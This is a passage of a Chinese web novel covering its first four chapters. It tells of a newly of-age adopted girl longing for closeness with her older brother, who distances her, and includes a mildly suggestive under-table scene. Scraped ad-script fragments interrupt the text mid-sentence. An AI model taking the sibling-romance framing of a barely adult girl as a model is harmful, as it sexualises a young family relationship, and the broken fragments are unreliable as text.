《私养娇珠》 1. 第 1 章 初春时节露水多,有些微冷。屋内燃着香炭,温度舒适,靠左处,立着扇金漆点翠屏风,屏风旁一张美人榻。 陆念安正靠在榻上看书,从窗外透进束柔和的光,落在她白皙的脸庞上,也将她双眸照得透亮。 丫鬟秋菊拿着茶壶进屋,琉璃制的壶中,玫瑰花瓣将露水染成粉红色。 秋菊换好茶,仔细观察陆念安的神情,见她似是完全忘了什么人,也没有哼唧抱怨的迹象后,才松口气。 近日里,京中事物繁多,圣上便留了陆祁几日,不可推辞。 可陆念安自幼怕生,性子胆怯,却是离不开人的。 这是她第一次同兄长分别这般久。 秋菊不得不担忧起她的状况,于是找底下的小丫头们借了几本闲书,想着可以转移她的心力。 这法子倒还有些用,这几日陆念安都抱着书,只晚上入睡时才念叨几句想兄长了。 只是这心力好似又转得太多了些……几案上,摆着秋菊刚放下的茶杯,陆念安动也没动,秋菊看着她眉头紧皱。 她仍旧靠在榻边,没骨头似的,懒散的姿态,只双眸愈发奕奕。 都快及午时,连早膳也未用,往日里公子在时,小姐辰时便该用完早膳都该去练剑了。 又等了半响,秋菊不敢再纵着她,上前道:“小姐昨夜不是想食府外那家鲜花饼?” 这会儿的陆念安正看到精彩处……“啊?” “就是公子常给小姐带得那一家。” 恍惚了下陆念安终于反应过来,她没抬眼,只是道:“先放着就好,” “……”秋菊叹气,缓缓上前,换了个法子劝解道:“那昨日小姐不是还说,要去给嬷嬷送件生辰礼?” 陈嬷嬷是大夫人身边的人,曾照顾过陆念安一段时间。听这句,陆念安也记起来,到是放下来书起身。 秋菊松口气,让人呈上些糕点来:“小姐先垫垫,嬷嬷定是也盼着小姐你去呢。” 鲜花饼根据每个季节,会有不同内陷,初春就是桃花,粉色的花饼圆鼓鼓,陆念安吃了两个,又饮了半壶茶。 这才抬起头看向秋菊,明亮的眼中写着几个大字——“现在可以了吗?” “小姐真乖。”秋菊哄着她又吃了一块,还是忍不住说出口:“若是公子在府上,小姐这会儿怕是都在练剑了。” 听见这句,陆念安拿着糕点的手一顿,颇有些心虚地往口中送,咽下去后反驳:“兄长又不知道……” 说着说着,陆念安竟咂出几分兄长不在府的好处来,没有功课不用练剑……可这几丝“好处”微弱,很快便被压下,荡然无存。 因为她根本不敢细想没有兄长的日子,就像她直到现在都未曾适应和哥哥分床睡。 陆念安用过早午膳后往外走,没走多久就看见挂着“千山宛”的牌匾。 陆家是上京中数一数二的高门大户,府邸却不大,可以用小而精致来形容。 陆夫人喜静,一个人住在南院,南院静谧,一路过来,看见的都是熟面孔。 陆念安在台阶上停了会儿,她素白指尖中捏了根玉簪,,这会儿停下是为了同秋菊说: “方才说好了,我们要轻些进屋,给嬷嬷一个惊喜。” 秋菊知道她是无聊了,点头应下来。 进了院子里,偶尔会遇见几个小丫鬟,陆念安最先看见的就是莲叶,忙抬起只手比在唇边:“嘘——” 莲叶了然,小心退下,没有发出任何声音。 她们继续往前走,脚步放得越发轻。 长廊上,女子的背影纤俏,乌发像黑丝绸,随着她的步调往一侧滑落,陆念安抬手,将不听话的发丝拨回去。 走到正屋的一侧后,陆念安想起母亲一直想让她稳重些,便止步,特意将衣裙理好在进屋。 手落在裙摆上,陆念安低下头,用掌心拍了拍腰间,与此同时,屋内传来熟悉的女声。 母亲的声音沉静:“方才听莲叶说看见青竹了?” 门外,枝叶翠绿,碧空如洗,着粉裙的少女支起耳朵,陆母念到了青竹的名字以后,她一顿。 青竹是哥哥身边的人,若是莲叶看见了她,哥哥也应该回来了才对。 陆念安下意识接话:“那哥哥也回来了?” 话音刚落,屋内人便齐齐朝她看去。 当母亲和嬷嬷含笑着看过来时,陆念安才反应过来自己上了当。 “……” 惊喜没给到反而被摆了一头,陆念安不太甘心地往前走。 陆夫人朝她伸手,等陆念安走到她身旁后,她替陆念安理着裙摆,一边理又忍不住开口,纳闷道:“怎就这般黏你兄长呢。” 对此陆夫人实在懊恼,念安刚来府上那会儿她正沉浸在丧夫的悲痛中,等反应过来时,才发现忽视了孩子。 “也黏你的。”陆念安虽有些迟钝,但也知道如何哄人开心:“最喜欢阿娘了。” “那我们念念这几日,离了阿兄有偷哭吗?”陆夫人用指尖去掐她脸。 “当然没有,”陆念安闻言皱眉,有些无奈:“阿娘,我都及笄了还哭鼻子,很丢人的。” “那,”陆夫人点头,犹豫着又开口:“那你兄长年后要忙起来了,念念以后往阿娘这儿来,由阿娘教你功课。” “为什么?”人总是潜意识依赖她最熟悉的人,对陆念安来说,她没想过和哥哥疏离。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她忍不住又问:“阿娘不是喜静吗?” 陆夫人就知道她是这个德行,忍不住笑着调侃:“那哪有人一辈子都粘着兄长的,兄长就不娶妻成家啦?” “……” 陆念安突然没了声音,沉默了好一忽儿,她轻声开口:“我又不管他,哥哥想娶就娶吧。” 自丈夫逝世以后,陆夫人的性子相比起以前,柔和许多,她现如今很少对什么感到乐趣,平日里最有意思的事情,就是逗逗两个孩子。 “真不好奇?”陆夫人凑过去又逗她,等陆念安皱着一张脸点头以后,陆夫人乐呵呵地笑起来:“好啦念念,阿娘又不偏心,再过几年,也会给我们念念找一个如意郎君的。” 人这一生,成家是及重要的大事,女子的婚事更是重中之重,既是聊到了这个话题,陆夫人好奇地多问了一嘴:“你同阿娘说说,念念喜欢什么样的?” 陆念安不说话,埋头玩起来玉佩。 “同阿娘说说嘛,”从前她还小,陆夫人便没和她聊这个话题,但女子及笄以后,这个话题便变得平常起来,她感叹道:“念念你还不懂,这女子的婚姻啊,就是要多物色,阿娘现在帮你看,等几年以后你会发现时间正正好,不然如意郎君早被别家姑娘挑走了喽。” “你阿兄就是挑太晚了……” “……”没等陆夫人继续念叨,陆念安忙抬起手,将手中簪子递给一旁的嬷嬷,正经道:“今天念念是来给嬷嬷送生辰礼,阿娘你莫抢了嬷嬷风头。” 陆念安说完就带着秋菊跑出去,裙摆荡漾起弧度,陆夫人只当她提起自己的婚事害羞了,勾起唇角对一旁地嬷嬷道:“你看看这孩子,这有什么羞的。” 陆念安跑出门后,在外面的亭子中坐了会儿,才慢悠悠走回自己府上。 她很怕冷,虽已开春,屋子里却仍需要炭火,陆念安靠在塌上,躺了会儿,她搓搓手,感觉自己被熏的暖洋洋,便又拿起方才放下的书继续看。 她静下心来,映入眼帘的却不是书中文字,而是方才母亲问自己的问题。 陆念安捏在书页上的指尖微颤,她仰起头往后靠,又用手中的书将脸挡住。 可这世界没有男子会比哥哥更好了。 陆念安说不出口。 连看书都没方才有劲,明明是精彩处,她却只想大睡 是什么时候睡着的呢,陆念安自己也不清楚,这一觉睡得不好,秋菊没有关窗户,小飞虫在耳边扑闪不停,吵吵闹闹烦人的很。 恍惚间,陆念安还闻到了股极其熟悉的气味。 她明明困到极致,却仍被这气味勾得睁开眼。 就看见眼前人的身影,同她心心念念着的兄长一模一样。 2. 第 2 章 圣上年事已高,身子骨差且先不说,就是那一双眼也彻底熬坏了,现如今看不了奏折,处理起国事来便尤为缓慢。 开春以后,各地上奏的人多了起来,陆祁和几位尚书在宫中留了四日,一起将那些折子看完。 第四日,刑狱司那边有事来请人,是诏狱那边,捉来了几个番国余孽。 现如今天下统一,但仍有前朝余孽,预想刺杀天子。 狱史害怕这几人还有同党,拷打了一番,但这几人铁骨铮铮,到都挨了下来,什么也不肯透露。 杀不得,问不出来,一时间狱史进退两难,这才想到了陆祈—— 好些年前,陆祈曾当过一段时间的狱司,他行职期间,从未出闹出过事。 新来的狱司长有些不好意思,但才刚上位,他不想闹出什么来,想了想还是派人过去取经,礼数周到完善。 所谓礼数,就是先上奏,等回执,后请人。 陆祁应下了,等忙完以后,他抽空去了一趟邢狱司。 狱牢深处便是地牢,血腥气弥漫开,冷风拂过男人长袍的下摆,陆祈抬步往前,一张脸沉在暗色之中。 这样的昏暗,使他的显露几分凌厉来。 “陆大人。”有人上前去迎,他们都是新调上来的小官,因为被提前叮嘱过,行礼时忙低头,带路时同身后人相隔五步。 陆祁没说话,行至深处后便主动停步,推门进屋。 几个狱史则低头在门外等着,不多时,就听见陆祈走出来,他左手执帕,正仔细又随意地擦拭骨指,“既已经招了,便按律法行事,严禁私自用刑。” “是。”几个狱史又低着头将人抬走,只留下一室甜腻。 是番国人爱用香,经年累月下来,血液中都有股浓烈至极的气味,远没有清淡的花香来得好闻。 陆祈想到花香时怔了瞬,新上位的狱司长在这时殷勤着跑来。 他来这一趟主要还是为了取经,言辞诚恳:“陆大人,末官是刚被调来上京的,狱中人多水深,我这总怕有哪里处理的不好,听闻大人您前些年也调职在次,可否给传授些经验。” “自然,”陆祁已将指骨擦拭干净,语调平静:“严按律法行事便可。” 这么简单……? 那新狱司还是有些害怕,又敏锐察觉到陆祁似是心情还不错,便追着又问了句:“那,那可否有什么忌讳的。” 他面色平静,悠悠开口:“忌讳因私欲而产生地针对和动刑。” 看来说来说去都绕不开律法二字,狱司长感觉心里有些底了,忙道谢,最后又要请陆祁去天香居吃饭。 陆祁不紧不慢地回拒:“家中下有幼妹,让人担忧。” 他回府时,天色已晚,灰蒙蒙的。 室内点上了灯,本是看书用得,但陆念安此刻躺在榻上,方才盖在脸上的书不知丢去哪儿了。 陆祈从诏狱赶来,刚推开门,就见眼前这副模样。 小姑娘显然是睡熟了,连呼吸声都匀称。 陆祈没有打扰她,只是站在门边看了两眼,两秒后,他忽得叹声气。 这是他一手带大的幼妹。 在宫中的这几日,他不是没有过担忧。 她却远比他想象中独立,似乎就要长大了。 此时黄昏时分,天空被染成橘红色,从里屋往窗外看,像一副会流转的画。 那些红光散进室内,落在陆念安身侧,给她镀上一层柔和的金边。 连飞虫都觉得好看,萦绕在陆念安脸侧,扑闪个不停。 陆祁收回目光,只看了一眼便要离开。 自幼妹长大以后,他极少进她院子,也极少再去里屋哄她睡觉。 天色愈晚,他既是兄长,也是成年男子,没有还留在幼妹房里一说。 他今夜也不该来得…… 夜风拂过男人肩侧,将他黑衣称得有些沉寂,他转身欲走,可下一瞬,一声清亮的“哥哥”落在院中。 陆念安转醒,她已经起身上前,兴奋地往前扑。 “哥哥!”她一连叫了好几声:“哥哥哥哥哥哥,你回来了?” 陆祁回过头,见幼妹仰着头朝自己笑,双眸明亮。 “嗯。” 陆念安起初觉得自己对兄长的思念不多,可这一瞬,当几天未见的人站在自己眼前,熟悉的眉眼,安心的气味,每一处都牵扯她思绪。 心口间又酥麻起来,这种陌生的情绪让陆念安觉得欢喜。 欢喜到兄长还没说话,她就已经控制不住地踮起脚往前扑。 她是一贯就是这般莽撞。陆念安其实并非陆夫人和陆将军的骨血,她五岁那年才被接到陆府暂住,明明也才半点大,却知道跑着跳着莽撞地去抱陆祁,只是每每都还未抱到,便摇摇欲坠往下倒。 长大了以后这习惯被陆祁严令禁止,她不得不去学着改掉,但这几日未见他人,思念都积攒到心口,无处宣泄……她就是很想他,想和他亲近。 “没规没矩。” 陆祈沉下声音想训斥,眼前的人却又一个不稳。 再等到他反应过来时,自己的双手早已经落在她腰间,将妹妹往怀中拉。 幼妹身上是甜腻的糕点味,夹杂着清淡的花香,她被整个人都暖烘烘。 “阿念,”陆祁有些无奈,不动声色地将人往外推,“又忘了。” 不知道从什么时候开始,和兄长接触开始要讲规矩。 不能离牵手不能抱,甚至……连靠太进也是一种过错。 陆念安偏不喜欢。 可制定这些条条框框的人就站在眼前,她无法去改变什么,只偶尔踩一踩那条线。 这会儿被陆祁推开,她不情不愿地后退两步,低下头闷声道:“哥哥你都不想阿念吗?” 她又后退一步,眼眶顿时就红了起来,可怜巴巴的模样,好像下一秒就能哭出来。 下一瞬又装模作样地擦起来眼泪,可若是细看,她双眸却是透亮,哪有半分落泪的嫌疑。 陆祁笑了,抬起手来,久违地将掌心放在幼妹头顶。 陆念安还以为兄长也想和自己亲近,刚舒服地眯起眼睛,头顶却被兄长拍了两下,然后那手就无情地收了回去。 在宫中的这几日,府中事都有专人记录,在写成信,当夜便送到陆祈手中,只陆念安被蒙在鼓里, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还以为自己的懒惰无人知道。 陆祈终于有时间教训她:“日日都睡到午时,琴不练功课不做,早膳不用半夜又喊饿了。” “陆念安,”他唤她大名:“是不是还想过,要是哥哥不回来就好了?” “……” 犯懒惰的日子就这么被披露出来,陆念安顶着一头乱糟糟地头发抬眼,没忍住开始顶嘴:“可是哥哥在家我就不会这样,都是因为哥哥不在……” 抬眸,直对上兄长黑漆漆的瞳孔,陆祈就这般看着她,一言不发,她忽得熄声,低下头不敢在说话。 室内就这么沉默下来,在两个人无声的制衡下,陆念安率先败下,“哼”一声,就转过身,脚步急促地往里屋走,越走越快。 里屋是陆念安睡觉的屋子,几案上放着对桃花灯,屏风是用整块白玉镶嵌的,屋内最普通的花瓶是用琉璃所制。 陆念安跑过这些物件,直奔角落的黄花梨架子床,床上被丫鬟收拾的一层不染,裘被叠在一边,细腻的丝绸上看不见褶皱。 她“哗——”一下散开裘被,顶着乱遭的头发钻进裘被中,也将自己的一颗脑袋遮住。 陆念安其实有些生气了。 抽泣声一开始很小,又被厚厚的裘被压下来,导致外屋的人好像根本听不见。 过了会儿,那哭声加大,越来越放肆,外屋的人却好像还没听见。 然后陆念安真的开始委屈,一颗心皱皱巴巴也要碎了。 她觉得长大以后,和哥哥越来越不亲了。 冒出这个想法的同时,盖在头上的裘被猛然被揭开,适应了黑暗在重回光明,她有些不适应,像个小刺猬,浑身的毛一下子炸开。 是陆祈将裘被扯开,此刻他侧身坐在她面前,抬手道:“过来。” 陆念安也想有点骨气,但她意外兄长竟肯进她屋子了。 于是陆祁只是轻轻朝她伸手,她就将裘被推开,但还是不说话,心里憋着气。 进屋时,陆祈顺手点了灯,室内明亮,在光照下,陆念安的脸有些红,许是憋的,眼睛也有些肿了,也不知方才落了几滴泪。 陆祈没说什么,左手取出手帕,扔给她,放柔语气道:“京中其她姑娘,早早就上了学堂,阿念虽不和她们比,但也不能什么也不学,该读得书也是要读得,知道吗?” 陆念安眼底彻底没了笑意:“那哥哥去找上学堂的人当妹妹吧。” 陆祈才舒缓的眉头紧紧皱起,他看着陆念安,不明白她突然的小情绪:“没让你去学堂。” 见她不张口,他顿了下,“说话。” “那你抱抱我,”陆念安朝他看去,眼睛仍红红的:“你抱我一下我就回你。” “陆念安。” 听见她又提抱这个字,陆祈没了好耐性,但他从不凶她什么,叫一声大名便是警告了。 陆祁站起身,抬步往外走—— 他不会在这种要求上再惯着她。 他起身时,熟悉的气味随风扩散开来,有一些木头的感觉,陆念安闻不出来具体,只觉得很安心。 但下一秒陆念安意识到。 哥哥也生气了。 3. 第 3 章 这当然不是一件好事,陆念安只犹豫了一瞬,便爬着滚下床。 方才踢出去的鞋已不知散去哪里,她一边找一边探头往外看,瞥见兄长已经走到台阶上以后,陆念安放弃找鞋,就这么光着脚跑出去。 最后踉跄着,狼狈地停在了陆祁面前,她抬手,下意识地,想像从前一样扯住兄长袖口,那只手停在半空中,素净的指尖颤了颤,却是收了回去。 紧接着陆念安可怜巴巴地开口:“哥哥我们和好吧,我以后再也不提抱这个字了。” 她到是认错的很快,说话时头顶的碎发一颤一颤,可惜眼神扑闪,一看便不是真切。 而关于这个句式,陆祁近年来已经听过无数遍了——“哥哥我以后再也不提牵手了”“哥哥我错了,以后再也不贴着你了”……她是这样的,连悔过都不用真心。 可身为兄长,他又不应和妹妹计较,陆祁只反问她:“方才不是阿念正在闹脾气吗,闹什么?” “没有闹,”陆念安低头看裙摆:“是方才哥哥曲解我了,阿念从来没想让哥哥不回来,明明时时刻刻都盼着能见哥哥的。” 陆祁:“……” 他一时没有在说话。 陆念安却敏锐地察觉到他态度松动:“哥哥我送你回府。” “回去,”他终于开口,视线下移,落在她只穿了白袜的脚上:“再看见你不穿鞋乱跑,今后就都别穿了。” 陆念安:“哦。” 她不以为然,反正哥哥很少真的生气。 回到屋内,陆念安将那本闲书又翻了出来,她心静了许多,很快便沉浸在书中情节,最后还是秋菊过来催着她上床。 “小姐,”秋菊无奈:“大公子回来了,您晚上看书可使不得了。” 陆念安这几日已习惯晚睡,一时间还改不过来,抱着书哼唧了几句。 秋菊只好又道:“明日不是还得练剑?若是去迟了怎办?” “好吧。”听见这句陆念安还是将书放下,她这几日也并非刻意晚睡,只是单纯地睡不着。 躺下后,却想起明早还要练剑——陆念安从前是极喜练剑的,她少时生得体弱,刚到陆家没多久就生了次大病,高烧后,精气神也被烧走多半。 是从这时开始,陆祈说要教她练剑。 陆念安原很抗拒,她虽然黏陆祈,但毕竟是个懒惰性子,别说练剑,光是站一会儿就觉得头晕眼花。 直到某一天清晨,还在睡在榻中正晕晕乎乎的她,被一双大手抱起。 那时她才丁点,挺直了身板也不过只极陆祈腿高,缩在她怀里时,刚好可以寻一处舒服的位置,脸颊靠着哥哥胸膛,就安心地闭上双眼。 陆祈也稳稳抱着她,直至走到院中才放下,紧接着他递给晕乎乎的幼妹一把木剑。 这一天,陆念安有了新收获,原来教人练剑需要手触着手,兄长会将掌心落在她的右肩,有时也会将手压在她的手背上,肌肤相贴的触感使得她莫名泛痒。 从此她极喜念剑,直到后来,哥哥离她越来越远,他宽厚的掌心再也不会压在她右肩处,即使她动作不够规范,也只会得到一声平静的“重来”。 这就是长大的烦恼啊……陆念安叹了声气,烦躁地扯过裘被盖住脸,不知不觉睡去。 春日的夜晚最是温度舒适,她这一觉沉沉睡到晨光微曦。 清晨是一天之中空气的清新的时刻,陆念安收拾完推开门,先是深吸了口气。 她院中有一颗高大的海棠,枝叶繁茂,还未开花,但枝干在春日的早晨里,也独有意境。 时隔四日,陆念安觉得自己再一次体会到早起的美好。 陆念安很快就往外走,陆祈的院子在偏西方向,不算远。 而这条路她日日都要行一遍,熟悉到闭着眼睛都不会摔倒。 因为很久没练剑,陆念安今日还有些兴奋,连走带跑的,半柱香没有就到了西院。 “哥哥!”她手压在门上,还未推开便开始唤人,但却没得到回应。 她只好先进屋,用双眸环顾着院子,去寻熟悉的人影。 院中间站在一个青竹,视线左移,角落里种的花没开,只大片大片的绿叶舒展着,左边则是一棵孤零零的古树,然后便没人了。 “哥哥呢,”感觉到有什么不对,陆念安只好将目光望向青竹,“他今日很忙吗?” 晨日里雾气弥漫,空气又湿又厚,忽然她觉得自己有点冷,还有一种被丢下的无措感。 “陆大人今日……”青竹一句话说了一半便有些无从下口。 他是知道小小姐脾性的,总之是个黏人的性子,一时接受不了分离很正常。 青竹沉默,陆念安就眼巴巴看着他,一直看到他开口才肯罢休。 “大人今早说小姐您最近变乖了,都不需要人盯着就能练上半个钟,只让您自己先看着练。” “是吗?”陆念安看着空荡荡的院子,咬着牙又道:“那他可真是替我着想的好哥哥。” 话音落下,她想起自己一大早跑过来却落了个空,紧接着又回忆起从前,几个零散的画面重合在一起,陆念安快气疯了。 他这叫区别对待。 不管她长多高,有多大,她都是他最亲的妹妹不是吗? 为何要一点一点去疏远她呢? 陆念安越想越气,但她不至于去为难无辜的人,只问青竹兄长去了哪里。 “在夫人那儿。” “秋菊你在这儿等我,”陆念安对自己的丫鬟道:“我自己去找他。” 此刻的千山宛,热茶再次转凉,小丫头手脚麻利地进屋换茶,指尖触着茶盏,只碰到很小一部分。 今日陆夫人是特意将自己这个儿子唤过来的。 两个人先聊了聊婚事,这是一生中头等的大事,陆夫人也不知念了多少遍了。 她挑儿媳也自有一套规矩,从家世出发,再到礼德谈吐等方方面面。 陆祈现如今已是吏部侍郎,再往升就有些难了,所以儿媳的母家最好是有些实权的,在朝廷之中也能帮衬些他。 这样一细想以后,剩下的适龄女子便没几个人,这几日陆夫人已让下人理了份小册出来,将年龄家世脾性都一并写了上去,此刻这册子被送到陆祈手中。 “你看看,”陆夫人终于得闲了,这会儿悠悠喝了口茶:“为了你的婚事我也算是费劲了心思,祈儿,你自己也要多上上心知道吗?” “知道了。”陆祈低头看了眼册子。 “哦对了,”陆夫人想起来什么又将茶杯放下:“你挑好了就青竹来支会一声,我也拿去给念念看看,毕竟以后都是一家人,这嫂嫂也得和念念合得来才行。” “嗯。” 聊完了婚事,陆夫人照例询问了些他的近况:“最近陛下可有将什么大事分给你?” “只几桩小事。” “既是小事你也得好好办,”陆夫人皱起眉:“给你小事便代表陛下还未完全信任你,从前你父亲还在时,陛下都准许他提刀进殿面圣呢,你虽是得不到你爹那般的信任,但陛下肯让你处理小事,也算是有些重视你了,所以你更要好好替陛下做事,可不能在他身前丢了你爹的脸……知道了吗?” 这些话在很长一段时间里,被翻来覆去地说了个遍,到现在,陆祈已能很平常的处理:“知道了母亲。” “那你走吧,”陆夫人知道他没了耐心,临走前却是又叮嘱了一遍:“祈儿,娘方才和你说得话你都要放在心上,尤其是关乎你爹声望的事情,你都要好好考虑知道吗?” “嗯。” 陆祈将册子递给身后人,抬步往外走。 他仪态是一贯的好,脊背挺直却没有刻意,现如今放眼整个上京,也挑不出比他更优秀的君子。 也只有想到这点时,陆夫人才稍有满意。 和陆祈已刻进骨子里仪态不同,陆念安在仪态这方面,是需要刻意去维持才能够端得起来。 她时常暴露自己闹腾性子,遇事一着急,步调便急促,头顶的步摇在半空中没规律地乱颤,划出几道凌乱的弧线。 所以陆念安来得还算快,匆忙走来时,刚好将才到外院的陆祈拦住。 她今日算是气到连铺垫也省略,仰起头看着兄长,眼泪是要掉不掉的:“哥哥你不要我了?你说你不要阿念,我以后就再也不缠着你。” 这话说得不明不白含含糊糊,但她话音刚落,陆祈就知道她是为了何事别扭。 类似的脾气她闹过不少,当初为了改掉她随意抱人的脾性,陆祈也费了不少力气。 其实她还有些小性子未改,却只能慢慢来。 陆祈沉默着,就看见小姑娘要掉不掉的眼泪已经哗哗往外涌,像未关水的闸,有些收不住了。 他看着她的眼泪,久违地感受到无奈——上一次磨掉她一个小性子他真的废了不少心力。 眼下陆祈想,该让她先冷静。 到底也在朝廷混了些年,行事端正不代表他没有手段,像阿念这种,该晾一晾才会长大。 “好了阿念,”到底是怕她哭肿了眼睛,他开口:“你知道的,哪有哥哥会不要妹妹呢?” 陆念安没说话,揉了揉眼睛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她当然有装可怜的成分,但这眼泪七分都是真,根本收不住。 而她方才走路急促,上台阶时还不小心摔了一跤,此刻衣裙凌乱,沾了些灰尘,哭起来更显狼狈。 “阿念,你过来。”他只好又道。 陆念安不情不愿地上前。 已经很久没和哥哥靠得这般近,陆念安抬步时微顿,她其实很想和从前一样,扑进哥哥怀里放声大哭。 偏生她已经长大了,只是想想,不敢有任何动作。 陆祁轻叹气,抬手沉默地拍掉她衣裳上的灰。视线又落在她明显凌乱的衣裳上,指腹依次划过她衣领,裙摆,无声地整理着。 这些动作明明从前做过千次万次。 只是长大以后,便不似从前了。 陆念安想,她是可以忍受不去和哥哥接触的,可这不代表疏远,哥哥总不能连看也不看她了吧? 现在连仅剩的练剑都被省略。 光是想到这一点,陆念安就难受到无法呼吸,她退后一步,推开那人的手,自己将裙摆拍了拍,低头时眼泪无声地往下流。 于是乎,陆祁落在半空中的手顿住,他沉沉看着她。 她还在哭,那几滴泪晶莹剔透,划过她纤长的脖颈,顺着衣领往下,最后在胸口处落下灰褐色影。 她真的很爱哭,就和小时候一样。 可她已经长大,迟早要独当一面的。 “……” 落在半空中的手微动,陆祁终是什么也没说,缓慢将手收回。 临走前,他告诉她: “方才的话哥哥当你没说过,阿念,你是知道的,只是因为你长大了,只是有些习惯要改改。” 谈话不欢而散,陆念安想,她需要静一静。 于是在初春的这一天,在海棠花还没开得季节,陆念安被兄长无情地剥夺掉,最后的,仅剩的,每日固定见面的机会。 她还是没有办法改变哥哥的想法,就像曾经的许多次一样,因为哥哥永远都只会告诉她——阿念你已经长大了。 “阿念,你已经长大了,在哥哥床上是不像话的。” “阿念,长大以后这样拉哥哥手是不对的。” “年后你就及笄了阿念,及笄以后同哥哥接触要隔一段距离知道吗?” ……太多太多了。 是因为她长大,不是哥哥不要她。 陆念安也这样告诉自己,然后丧气地走回院子。 她一连消沉了两天,呆在屋子里哪儿也不想去,只看闲书转移注意力。 对于她这番改变,秋菊是最意外的人,等到第三日,秋菊去厨房时,遇到了同样来厨房的青竹。 她想到自家小姐的不对劲,主动同青竹寒暄:“大公子今日可回来了?” “公子回来了,”青竹话落一顿,想到西院这几日的沉静,他觉得急需要小小姐过来闹腾一下,主动道:“小姐近日有做功课吗?是不是可以拿过去给公子看看了?” “时间是差不多了……”秋菊揉揉眼:“难道是还没做完?” “你去问问。” 秋菊回到北院时心里还想着这件事,她觉得小姐再这样看下去肯定不行,这几天都熬到半夜,双眸都熬红了。 秋菊放下托盘走去,她询问正在看书的人:“小姐功课可做完了?”琢磨着又道:“是不是该拿过去公子检查检查了?” “没做完,”陆念安理直气壮:“我还想静几天。” 静? 为什么要静? 秋菊皱起眉,感受到一种不太好的预感,回望这些年,每每和大公子闹脾气时,小姐就会闭门不出静一静。 虽然最后都会和好……秋菊摸摸头,但最后都是怎么和好的来着? 陆念安又静了两日,她身子骨一直不太好,平日里多数时间也是呆在屋中,无人会觉得她不对劲。 这几日便看着闲书,偶尔也会出门赏赏花,日子倒也悠闲,就这般缓慢的流逝掉。 直到第五日的晚上,陆夫人那边让嬷嬷过来叫她去吃饭。 她这才出门。 陆夫人吃斋,平日里都是单独的饮食,但一个人总有些孤单,偶尔也会唤陆念安来陪陪她。 陆念安慢悠悠走到千山宛,见几个小丫头捧着托盘往里屋去,她便探头看了看里屋内的圆桌,想看看都是些什么菜色,无意间却瞥见桌上放着三个瓷杯。 还以为是自己看错了,陆念安刚打算在数一遍,忽然闻到熟悉的气味,她下意识转头,就见几日未见的哥哥站在一旁—— 他平静注视着自己。 4. 第 4 章 “站门口干什么?”陆夫人半天没听见动静,朝门口望去:“进屋呀。” 这声音拉回陆念安思绪,她忙转过头,先兄长一步往屋内走去。 屋内格局雅致,一张圆桌摆在正中,木质细腻,陆念安看着圈椅,安静地坐下。 没两秒,身旁的椅子被人拉开,熟悉的气味飘散过来,陆念安没有回头,只看着陆夫人的方向。 其实今天勉强算是顿团圆饭了,陆家早些年分家过,现如今大房里的主子就这三人,今夜都来齐。 陆夫人抬手让莲叶倒茶,私宴上没那么多规矩,她一边喝茶,想起来什么以后关切道:“念念这几日都未出门?” “恩,”陆念安点头,拿着木筷的手在碗里拨来拨去:“是外面有些冷了,一出门就被风吹得头疼。” 她是一贯的纤弱,少时多吹些风就要倒,炽夏最是怕热,寒冬又是惧冷,总惹人担忧,恨不得叫人时时刻刻看着才放心。 “刚开春是要多注意,”陆夫人想起前些年,忍不住皱起眉:“念念还是药吃些补身子的药,娘明日让嬷嬷熬好给你送去。” 陆念安此刻正在吃糖藕,忽然间听到又要喝药,嘴里的甜味开始泛苦,她赶忙嚼吧嚼吧,咽下去以后说:“不用的阿娘,我都许久没生病了,在补就都胖了。” “胖些好,”陆夫人坐在陆念安左侧,此刻抬手,将指尖落在她手腕上,一手圈住:“你看你瘦的都没有肉。” 光下从左侧的窗透进,落在桌边,将陆夫人手腕上的翡翠镯子照得透亮。而陆念安懊恼,一时再不知怎么婉拒母亲的好意。 排斥喝药这件事,论起根源来,还是因为少时被骗着喝了太多。所以往后的每一天,只要想起那股子苦涩,她就下意识逃避。 她长大以后不想再喝冤枉药了。 想到这,陆念安用余光去撇身旁人,陆祈正巧坐在光下,明暗交界中,他整个人沐在明的一边,白衣素净,冷硬的轮廊也变得柔和起来。 他在饭桌上很少说话,他这人有太多的规矩,就比如此刻,他不会侧过头看她。 陆念安没了办法,不耐地晃着脚,低垂眸沉默着。 只是心里不耐,晃着晃着也没了个章法,脚尖直踢在一旁人的白衣上。 那白衣本一层不染,此刻难免沾染上些灰。陆祈只得悠悠放下木筷,侧过头,看向没个正行,连吃饭都能踢他一脚的好妹妹。 好妹妹立刻故作惊恐地瞪大双眸。 偏生她一双眼生得极好,盈盈水润的眸,纤长的眼睫,眼巴巴瞧着一个人时,很少有人能招架的住。 同样的招数用太多便失去效力。 陆祈收回目光,指尖重新触上木筷,就感受到从腿间传来的痒意。 那力道很轻,踩着他腿间。 陆念安的确是太没正行了,她受不了被哥哥忽视,干脆一脚踩了过去。 像一个试图用捣乱来吸引长辈注意力的孩子,她意识不到自己正在胡闹。 圆桌下空荡,有什么动静其实很容易被人察觉,可偏生赶巧了,陆夫人此刻正在叮嘱嬷嬷要用些什么药,并未注意到兄妹俩弄出的动静。 也是这般陆念安才敢放肆,只是没嚣张多久,陆祈忽得出声唤陆夫人:“母亲。” 陆念安吓得一抖,忙将脚尖收了回来,此地无银三百两地吃糖藕。 陆夫人看着她,微皱起眉头,只觉方才明明听见了什么动静。 饭桌上却出乎意料的沉静下来,陆夫人想不明白:“怎么了?” 陆祈看一眼陆念安,见她缩起来肩膀窝在一侧:“从前那副药便不用了,我改日去帮阿念重新捡个方子。” 那副药虽好,但毕竟也这些年没用过了,重新开个方子更为稳妥。 “也好。”陆夫人一想确实是这般,便不再操心,放心地将事情交给他。 后半场饭局陆念安也一直很沉默,挑挑拣拣地用完饭,走出千山宛时,她回头看了眼,见身后无人,这才放心—— 笑着转过身,笑容僵硬住。 那人竟已站在树下等着她。 一身白衣素净,神色却沉得像墨:“过来。” 方才在圆桌边还气焰嚣张的陆念安丧气,她这会儿知道沉稳二字了,一点一点往前挪动,乖得简直不像她。 她克制地停在距离兄长一米的距离,认错的态度是一贯积极:“哥哥我错了。” 又开始装可怜:“是药有些苦,而阿念不想再喝了。” 树下,风拂过,树影婆娑发出轻微声响,等待兄长开口的每一刻都是煎熬的。 “罢了。”陆念安听见他说。 